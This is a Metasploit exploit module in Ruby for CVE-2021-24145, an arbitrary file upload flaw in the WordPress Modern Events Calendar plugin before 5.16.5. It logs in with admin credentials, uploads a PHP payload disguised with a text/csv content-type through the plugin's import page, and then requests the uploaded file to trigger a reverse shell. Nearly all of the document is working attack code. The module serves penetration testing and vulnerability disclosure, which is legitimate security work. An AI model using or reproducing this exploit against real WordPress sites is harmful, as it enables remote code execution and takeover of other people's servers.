This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in WordPress Modern Events Calendar plugin versions prior to 5.16.5. This is due to an incorrect check of the uploaded file extension. Indeed, by using text/csv content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin. Finally, the uploaded payload can be triggered by a call to /wp-content/uploads/<random_payload_name>.php.
75b29e689541f825031d9308d2c36b24##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.
This is due to an incorrect check of the uploaded file extension.
Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.
Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nguyen Van Khanh', # Original PoC and discovery
'Ron Jost', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '50115'],
['CVE', '2021-24145'],
['CWE', '434']
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Wordpress Modern Events Calendar < 5.16.5', {}]
],
'Privileged' => false,
'DisclosureDate' => '2021-01-29',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
]
end
def check
unless wordpress_and_online?
return CheckCode::Safe('Server not online or not detected as Wordpress')
end
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie
check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5')
else
CheckCode::Detected('The admin credentials given are wrong !')
end
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"
post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload_name}'")
post_data.add_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'")
print_status("Uploading file \'#{payload_name}\' containing the payload...")
r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'headers' => {
'Origin' => full_uri('')
},
'vars_get' => {
'page' => 'MEC-ix',
'tab' => 'MEC-import'
},
'cookie' => cookie,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
register_file_for_cleanup(payload_name)
print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'headers' => {
'Origin' => full_uri('')
},
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/#{payload_name}")
)
end
end